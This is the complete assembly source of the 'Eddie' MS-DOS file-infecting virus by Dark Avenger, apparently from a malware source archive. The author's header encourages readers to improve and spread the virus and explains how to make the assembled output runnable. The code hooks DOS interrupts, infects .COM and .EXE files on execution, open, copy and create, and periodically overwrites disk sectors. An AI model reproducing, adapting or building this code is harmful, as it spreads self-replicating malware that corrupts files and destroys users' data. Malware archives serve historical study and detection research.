MalwareSourceCode/MSDOS/A-Index/Virus.MSDOS.Unknown.avengsrc.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

1000 lines
27 KiB
NASM

Ok PAUL, Here is the file you requested,
;************************
;* *
;* E D D I E *
;* *
;* by Dark Avenger *
;* *
;* 3-JAN-1989 *
;* *
;* version 1.31x *
;* *
;************************
; "Blessed is he who expects nothing, for he shall not be disappointed."
; The original source of one of the first Bulgarian viruses is in front of
; you. As you may notice, it's full of rubbish and bugs, but nevertheless
; the virus has spread surprisingly quickly troughout the country and made a
; quick round the globe. (It's well-known in Eastern and Western Europe, as
; well as in USA.) Due to the aniversary of its creation, the source is
; distributed freely. You have the rights to distribute the source which can
; be charged or free of charge, with the only condition not to modify it.
; The one, who intentionaly distributes this source modified in any way will
; be punished! Still, the author will be glad if any of you improves it and
; spreads the resulting executive file (i.e., the virus itself). Pay
; attention to the fact that after you assemble the source, the resulting
; .COM-file cannot be run. For that purpose you have to create a three-byte
; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
; two files. Don't try to place a JMP at the beginning of the source.
; DISCLAIMER: The author does not take any responsability for any damage,
; either direct or implied, caused by the usage or not of this source or of
; the resulting code after assembly. No warrant is made about the product
; functionability or quality.
; I cannot resist to express my special gratitude to my "populazer" Dipl.
; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
; not, helps very much in the spreading of my viruses, in spite of the fact
; that he tries to do just the opposite (writing programs in C has never
; led to any good).
; Greetings to all virus writers!
code segment
assume cs:code,ds:code
copyright:
db 'Eddie lives...somewhere in time!',0
date_stamp:
dd 12239000h
checksum:
db 30
; Return the control to an .EXE file:
; Restores DS=ES=PSP, loads SS:SP and CS:IP.
exit_exe:
mov bx,es
add bx,10h
add bx,word ptr cs:[si+call_adr+2]
mov word ptr cs:[si+patch+2],bx
mov bx,word ptr cs:[si+call_adr]
mov word ptr cs:[si+patch],bx
mov bx,es
add bx,10h
add bx,word ptr cs:[si+stack_pointer+2]
mov ss,bx
mov sp,word ptr cs:[si+stack_pointer]
db 0eah ;JMP XXXX:YYYY
patch:
dd 0
; Returns control to a .COM file:
; Restores the first 3 bytes in the
; beginning of the file, loads SP and IP.
exit_com:
mov di,100h
add si,offset my_save
movsb
movsw
mov sp,ds:[6] ;This is incorrect
xor bx,bx
push bx
jmp [si-11] ;si+call_adr-top_file
; Program entry point
startup:
call relative
relative:
pop si ;SI = $
sub si,offset relative
cld
cmp word ptr cs:[si+my_save],5a4dh
je exe_ok
cli
mov sp,si ;A separate stack is supported for
add sp,offset top_file+100h ;the .COM files, in order not to
sti ;overlap the stack by the program
cmp sp,ds:[6]
jnc exit_com
exe_ok:
push ax
push es
push si
push ds
mov di,si
; Looking for the address of INT 13h handler in ROM-BIOS
xor ax,ax
push ax
mov ds,ax
les ax,ds:[13h*4]
mov word ptr cs:[si+fdisk],ax
mov word ptr cs:[si+fdisk+2],es
mov word ptr cs:[si+disk],ax
mov word ptr cs:[si+disk+2],es
mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
cmp ax,0f000h ;for diskettes if a hard disk is
jne nofdisk ;available
mov word ptr cs:[si+disk+2],ax
mov ax,ds:[40h*4]
mov word ptr cs:[si+disk],ax
mov dl,80h
mov ax,ds:[41h*4+2] ;INT 41h usually points the segment,
cmp ax,0f000h ;where the original INT 13h vector is
je isfdisk
cmp ah,0c8h
jc nofdisk
cmp ah,0f4h
jnc nofdisk
test al,7fh
jnz nofdisk
mov ds,ax
cmp ds:[0],0aa55h
jne nofdisk
mov dl,ds:[2]
isfdisk:
mov ds,ax
xor dh,dh
mov cl,9
shl dx,cl
mov cx,dx
xor si,si
findvect:
lodsw ;Occasionally begins with:
cmp ax,0fa80h ; CMP DL,80h
jne altchk ; JNC somewhere
lodsw
cmp ax,7380h
je intchk
jne nxt0
altchk:
cmp ax,0c2f6h ;or with:
jne nxt ; TEST DL,80h
lodsw ; JNZ somewhere
cmp ax,7580h
jne nxt0
intchk:
inc si ;then there is:
lodsw ; INT 40h
cmp ax,40cdh
je found
sub si,3
nxt0:
dec si
dec si
nxt:
dec si
loop findvect
jmp short nofdisk
found:
sub si,7
mov word ptr cs:[di+fdisk],si
mov word ptr cs:[di+fdisk+2],ds
nofdisk:
mov si,di
pop ds
; Check whether the program is present in memory:
les ax,ds:[21h*4]
mov word ptr cs:[si+save_int_21],ax
mov word ptr cs:[si+save_int_21+2],es
push cs
pop ds
cmp ax,offset int_21
jne bad_func
xor di,di
mov cx,offset my_size
scan_func:
lodsb
scasb
jne bad_func
loop scan_func
pop es
jmp go_program
; Move the program to the top of memory:
; (it's full of rubbish and bugs here)
bad_func:
pop es
mov ah,49h
int 21h
mov bx,0ffffh
mov ah,48h
int 21h
sub bx,(top_bz+my_bz+1ch-1)/16+2
jc go_program
mov cx,es
stc
adc cx,bx
mov ah,4ah
int 21h
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
stc
sbb es:[2],bx
push es
mov es,cx
mov ah,4ah
int 21h
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:[1],8
call mul_16
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call mul_16
add ax,ds:[6]
adc dx,0
sub ax,bx
sbb dx,cx
jc mem_ok
sub ds:[6],ax ;Reduction of the segment size
mem_ok:
pop si
push si
push ds
push cs
xor di,di
mov ds,di
lds ax,ds:[27h*4]
mov word ptr cs:[si+save_int_27],ax
mov word ptr cs:[si+save_int_27+2],ds
pop ds
mov cx,offset aux_size
rep movsb
xor ax,ax
mov ds,ax
mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
mov ds:[21h*4+2],es
mov ds:[27h*4],offset int_27
mov ds:[27h*4+2],es
mov word ptr es:[filehndl],ax
pop es
go_program:
pop si
; Smash the next disk sector:
xor ax,ax
mov ds,ax
mov ax,ds:[13h*4]
mov word ptr cs:[si+save_int_13],ax
mov ax,ds:[13h*4+2]
mov word ptr cs:[si+save_int_13+2],ax
mov ds:[13h*4],offset int_13
add ds:[13h*4],si
mov ds:[13h*4+2],cs
pop ds
push ds
push si
mov bx,si
lds ax,ds:[2ah]
xor si,si
mov dx,si
scan_envir: ;Fetch program's name
lodsw ;(with DOS 2.x it doesn't work anyway)
dec si
test ax,ax
jnz scan_envir
add si,3
lodsb
; The following instruction is a complete nonsense. Try to enter a drive &
; directory path in lowercase, then run an infected program from there.
; As a result of an error here + an error in DOS the next sector is not
; smashed. Two memory bytes are smashed instead, most probably onto the
; infected program.
sub al,'A'
mov cx,1
push cs
pop ds
add bx,offset int_27
push ax
push bx
push cx
int 25h
pop ax
pop cx
pop bx
inc byte ptr [bx+0ah]
and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
jnz store_sec ;nothing is not enough for some.
mov al,[bx+10h]
xor ah,ah
mul word ptr [bx+16h]
add ax,[bx+0eh]
push ax
mov ax,[bx+11h]
mov dx,32
mul dx
div word ptr [bx+0bh]
pop dx
add dx,ax
mov ax,[bx+8]
add ax,40h
cmp ax,[bx+13h]
jc store_new
inc ax
and ax,3fh
add ax,dx
cmp ax,[bx+13h]
jnc small_disk
store_new:
mov [bx+8],ax
store_sec:
pop ax
xor dx,dx
push ax
push bx
push cx
int 26h
; The writing trough this interrupt is not the smartest thing, bacause it
; can be intercepted (what Vesselin Bontchev has managed to notice).
pop ax
pop cx
pop bx
pop ax
cmp byte ptr [bx+0ah],0
jne not_now
mov dx,[bx+8]
pop bx
push bx
int 26h
small_disk:
pop ax
not_now:
pop si
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[si+save_int_13]
mov ds:[13h*4],ax
mov ax,word ptr cs:[si+save_int_13+2]
mov ds:[13h*4+2],ax
pop ds
pop ax
cmp word ptr cs:[si+my_save],5a4dh
jne go_exit_com
jmp exit_exe
go_exit_com:
jmp exit_com
int_24:
mov al,3 ;This instruction seems unnecessary
iret
; INT 27h handler (this is necessary)
int_27:
pushf
call alloc
popf
jmp dword ptr cs:[save_int_27]
; During the DOS functions Set & Get Vector it seems that the virus has not
; intercepted them (this is a doubtfull advantage and it is a possible
; source of errors with some "intelligent" programs)
set_int_27:
mov word ptr cs:[save_int_27],dx
mov word ptr cs:[save_int_27+2],ds
popf
iret
set_int_21:
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
popf
iret
get_int_27:
les bx,dword ptr cs:[save_int_27]
popf
iret
get_int_21:
les bx,dword ptr cs:[save_int_21]
popf
iret
exec:
call do_file
call alloc
popf
jmp dword ptr cs:[save_int_21]
db 'Diana P.',0
; INT 21h handler. Infects files during execution, copying, browsing or
; creating and some other operations. The execution of functions 0 and 26h
; has bad consequences.
int_21:
push bp
mov bp,sp
push [bp+6]
popf
pop bp
pushf
call ontop
cmp ax,2521h
je set_int_21
cmp ax,2527h
je set_int_27
cmp ax,3521h
je get_int_21
cmp ax,3527h
je get_int_27
cld
cmp ax,4b00h
je exec
cmp ah,3ch
je create
cmp ah,3eh
je close
cmp ah,5bh
jne not_create
create:
cmp word ptr cs:[filehndl],0;May be 0 if the file is open
jne dont_touch
call see_name
jnz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push es
push cs
pop es
push si
push di
push cx
push ax
mov di,offset filehndl
stosw
mov si,dx
mov cx,65
move_name:
lodsb
stosb
test al,al
jz all_ok
loop move_name
mov word ptr es:[filehndl],cx
all_ok:
pop ax
pop cx
pop di
pop si
pop es
go_exit:
popf
jnc int_exit ;JMP
close:
cmp bx,word ptr cs:[filehndl]
jne dont_touch
test bx,bx
jz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push ds
push cs
pop ds
push dx
mov dx,offset filehndl+2
call do_file
mov word ptr cs:[filehndl],0
pop dx
pop ds
jmp go_exit
not_create:
cmp ah,3dh
je touch
cmp ah,43h
je touch
cmp ah,56h ;Unfortunately, the command inter-
jne dont_touch ;preter does not use this function
touch:
call see_name
jnz dont_touch
call do_file
dont_touch:
call alloc
popf
call function
int_exit:
pushf
push ds
call get_chain
mov byte ptr ds:[0],'Z'
pop ds
popf
dummy proc far ;???
ret 2
dummy endp
; Checks whether the file is .COM or .EXE.
; It is not called upon file execution.
see_name:
push ax
push si
mov si,dx
scan_name:
lodsb
test al,al
jz bad_name
cmp al,'.'
jnz scan_name
call get_byte
mov ah,al
call get_byte
cmp ax,'co'
jz pos_com
cmp ax,'ex'
jnz good_name
call get_byte
cmp al,'e'
jmp short good_name
pos_com:
call get_byte
cmp al,'m'
jmp short good_name
bad_name:
inc al
good_name:
pop si
pop ax
ret
; Converts into lowercase (the subroutines are a great thing).
get_byte:
lodsb
cmp al,'C'
jc byte_got
cmp al,'Y'
jnc byte_got
add al,20h
byte_got:
ret
; Calls the original INT 21h.
function:
pushf
call dword ptr cs:[save_int_21]
ret
; Arrange to infect an executable file.
do_file:
push ds ;Save the registers in stack
push es
push si
push di
push ax
push bx
push cx
push dx
mov si,ds
xor ax,ax
mov ds,ax
les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
push es ;and changes them with what is needed
push ax
mov ds:[24h*4],offset int_24
mov ds:[24h*4+2],cs
les ax,ds:[13h*4]
mov word ptr cs:[save_int_13],ax
mov word ptr cs:[save_int_13+2],es
mov ds:[13h*4],offset int_13
mov ds:[13h*4+2],cs
push es
push ax
mov ds,si
xor cx,cx ;Arranges to infect Read-only files
mov ax,4300h
call function
mov bx,cx
and cl,0feh
cmp cl,bl
je dont_change
mov ax,4301h
call function
stc
dont_change:
pushf
push ds
push dx
push bx
mov ax,3d02h ;Now we can safely open the file
call function
jc cant_open
mov bx,ax
call disease
mov ah,3eh ;Close it
call function
cant_open:
pop cx
pop dx
pop ds
popf
jnc no_update
mov ax,4301h ;Restores file's attributes
call function ;if they were changed (just in case)
no_update:
xor ax,ax ;Restores INT 13h and INT 24h
mov ds,ax
pop ds:[13h*4]
pop ds:[13h*4+2]
pop ds:[24h*4]
pop ds:[24h*4+2]
pop dx ;Register restoration
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
ret
; This routine is the working horse.
disease:
push cs
pop ds
push cs
pop es
mov dx,offset top_save ;Read the file beginning
mov cx,18h
mov ah,3fh
int 21h
xor cx,cx
xor dx,dx
mov ax,4202h ;Save file length
int 21h
mov word ptr [top_save+1ah],dx
cmp ax,offset my_size ;This should be top_file
sbb dx,0
jc stop_fuck_2 ;Small files are not infected
mov word ptr [top_save+18h],ax
cmp word ptr [top_save],5a4dh
jne com_file
mov ax,word ptr [top_save+8]
add ax,word ptr [top_save+16h]
call mul_16
add ax,word ptr [top_save+14h]
adc dx,0
mov cx,dx
mov dx,ax
jmp short see_sick
com_file:
cmp byte ptr [top_save],0e9h
jne see_fuck
mov dx,word ptr [top_save+1]
add dx,103h
jc see_fuck
dec dh
xor cx,cx
; Check if the file is properly infected
see_sick:
sub dx,startup-copyright
sbb cx,0
mov ax,4200h
int 21h
add ax,offset top_file
adc dx,0
cmp ax,word ptr [top_save+18h]
jne see_fuck
cmp dx,word ptr [top_save+1ah]
jne see_fuck
mov dx,offset top_save+1ch
mov si,dx
mov cx,offset my_size
mov ah,3fh
int 21h
jc see_fuck
cmp cx,ax
jne see_fuck
xor di,di
next_byte:
lodsb
scasb
jne see_fuck
loop next_byte
stop_fuck_2:
ret
see_fuck:
xor cx,cx ;Seek to the end of file
xor dx,dx
mov ax,4202h
int 21h
cmp word ptr [top_save],5a4dh
je fuck_exe
add ax,offset aux_size+200h ;Watch out for too big .COM files
adc dx,0
je fuck_it
ret
; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
fuck_exe:
mov dx,word ptr [top_save+18h]
neg dl
and dx,0fh
xor cx,cx
mov ax,4201h
int 21h
mov word ptr [top_save+18h],ax
mov word ptr [top_save+1ah],dx
fuck_it:
mov ax,5700h ;Get file's date
int 21h
pushf
push cx
push dx
cmp word ptr [top_save],5a4dh
je exe_file ;Very clever, isn't it?
mov ax,100h
jmp short set_adr
exe_file:
mov ax,word ptr [top_save+14h]
mov dx,word ptr [top_save+16h]
set_adr:
mov di,offset call_adr
stosw
mov ax,dx
stosw
mov ax,word ptr [top_save+10h]
stosw
mov ax,word ptr [top_save+0eh]
stosw
mov si,offset top_save ;This offers the possibilities to
movsb ;some nasty programs to restore
movsw ;exactly the original length
xor dx,dx ;of the .EXE files
mov cx,offset top_file
mov ah,40h
int 21h ;Write the virus
jc go_no_fuck ;(don't trace here)
xor cx,ax
jnz go_no_fuck
mov dx,cx
mov ax,4200h
int 21h
cmp word ptr [top_save],5a4dh
je do_exe
mov byte ptr [top_save],0e9h
mov ax,word ptr [top_save+18h]
add ax,startup-copyright-3
mov word ptr [top_save+1],ax
mov cx,3
jmp short write_header
go_no_fuck:
jmp short no_fuck
; Construct the .EXE file's header
do_exe:
call mul_hdr
not ax
not dx
inc ax
jne calc_offs
inc dx
calc_offs:
add ax,word ptr [top_save+18h]
adc dx,word ptr [top_save+1ah]
mov cx,10h
div cx
mov word ptr [top_save+14h],startup-copyright
mov word ptr [top_save+16h],ax
add ax,(offset top_file-offset copyright-1)/16+1
mov word ptr [top_save+0eh],ax
mov word ptr [top_save+10h],100h
add word ptr [top_save+18h],offset top_file
adc word ptr [top_save+1ah],0
mov ax,word ptr [top_save+18h]
and ax,1ffh
mov word ptr [top_save+2],ax
pushf
mov ax,word ptr [top_save+19h]
shr byte ptr [top_save+1bh],1
rcr ax,1
popf
jz update_len
inc ax
update_len:
mov word ptr [top_save+4],ax
mov cx,18h
write_header:
mov dx,offset top_save
mov ah,40h
int 21h ;Write the file beginning
no_fuck:
pop dx
pop cx
popf
jc stop_fuck
mov ax,5701h ;Restore the original file date
int 21h
stop_fuck:
ret
; The following is used by the INT 21h and INT 27h handlers in connection
; to the program hiding in memory from those who don't need to see it.
; The whole system is absurde and meaningless and it is also another source
; for program conflicts.
alloc:
push ds
call get_chain
mov byte ptr ds:[0],'M'
pop ds
; Assures that the program is the first one in the processes,
; which have intercepted INT 21h (yet another source of conflicts).
ontop:
push ds
push ax
push bx
push dx
xor bx,bx
mov ds,bx
lds dx,ds:[21h*4]
cmp dx,offset int_21
jne search_segment
mov ax,ds
mov bx,cs
cmp ax,bx
je test_complete
; Searches the segment of the sucker who has intercepted INT 21h, in
; order to find where it has stored the old values and to replace them.
; Nothing is done for INT 27h.
xor bx,bx
search_segment:
mov ax,[bx]
cmp ax,offset int_21
jne search_next
mov ax,cs
cmp ax,[bx+2]
je got_him
search_next:
inc bx
jne search_segment
je return_control
got_him:
mov ax,word ptr cs:[save_int_21]
mov [bx],ax
mov ax,word ptr cs:[save_int_21+2]
mov [bx+2],ax
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
xor bx,bx
; Even if he has not saved them in the same segment, this won't help him.
return_control:
mov ds,bx
mov ds:[21h*4],offset int_21
mov ds:[21h*4+2],cs
test_complete:
pop dx
pop bx
pop ax
pop ds
ret
; Fetch the segment of the last MCB
get_chain:
push ax
push bx
mov ah,62h
call function
mov ax,cs
dec ax
dec bx
next_blk:
mov ds,bx
stc
adc bx,ds:[3]
cmp bx,ax
jc next_blk
pop bx
pop ax
ret
; Multiply by 16
mul_hdr:
mov ax,word ptr [top_save+8]
mul_16:
mov dx,10h
mul dx
ret
db 'This program was written in the city of Sofia '
db '(C) 1988-89 Dark Avenger',0
; INT 13h handler.
; Calls the original vectors in BIOS, if it's a writing call
int_13:
cmp ah,3
jnz subfn_ok
cmp dl,80h
jnc hdisk
db 0eah ;JMP XXXX:YYYY
my_size: ;--- Up to here comparison
disk: ; with the original is made
dd 0
hdisk:
db 0eah ;JMP XXXX:YYYY
fdisk:
dd 0
subfn_ok:
db 0eah ;JMP XXXX:YYYY
save_int_13:
dd 0
call_adr:
dd 100h
stack_pointer:
dd 0 ;The original value of SS:SP
my_save:
int 20h ;The original contents of the first
nop ;3 bytes of the file
top_file: ;--- Up to here the code is written
filehndl equ $ ; in the files
filename equ filehndl+2 ;Buffer for the name of the opened file
save_int_27 equ filename+65 ;Original INT 27h vector
save_int_21 equ save_int_27+4 ;Original INT 21h vector
aux_size equ save_int_21+4 ;--- Up to here is moved into memory
top_save equ save_int_21+4 ;Beginning of the buffer, which
contains
; - The first 24 bytes read from file
; - File length (4 bytes)
; - The last bytes of the file
; (my_size bytes)
top_bz equ top_save-copyright
my_bz equ my_size-copyright
code ends
end